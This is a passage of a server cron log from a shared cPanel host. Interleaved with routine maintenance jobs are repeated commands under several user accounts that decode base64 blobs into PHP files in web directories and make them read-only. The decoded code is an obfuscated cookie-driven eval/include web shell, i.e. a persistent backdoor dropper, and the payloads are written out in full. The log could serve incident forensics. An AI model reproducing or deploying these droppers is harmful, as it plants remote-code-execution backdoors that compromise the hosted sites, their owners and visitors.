CAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:29:01 medusa CROND[25216]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:29:01 medusa CROND[25218]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:29:01 medusa CROND[25219]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:29:01 medusa CROND[25220]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:30:01 medusa CROND[26792]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:30:01 medusa CROND[26804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26805]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 11:30:01 medusa CROND[26806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26807]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:30:01 medusa CROND[26808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:30:01 medusa CROND[26815]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:30:01 medusa CROND[26816]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:30:01 medusa CROND[26817]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:30:01 medusa CROND[26818]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:30:01 medusa CROND[26812]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26819]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:30:01 medusa CROND[26824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:30:01 medusa CROND[26823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:30:01 medusa CROND[26814]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:30:01 medusa CROND[26830]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:30:01 medusa CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:30:01 medusa CROND[26834]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26836]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:30:01 medusa CROND[26837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:30:01 medusa CROND[26839]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:30:01 medusa CROND[26840]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26831]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26841]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26844]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:30:01 medusa CROND[26832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:30:01 medusa CROND[26835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:30:01 medusa CROND[26853]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:30:01 medusa CROND[26838]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:31:01 medusa CROND[28440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:31:01 medusa CROND[28453]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:31:01 medusa CROND[28454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:31:01 medusa CROND[28455]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:31:01 medusa CROND[28456]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:31:01 medusa CROND[28457]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:31:01 medusa CROND[28458]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:31:01 medusa CROND[28460]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:31:01 medusa CROND[28462]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:31:01 medusa CROND[28466]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9o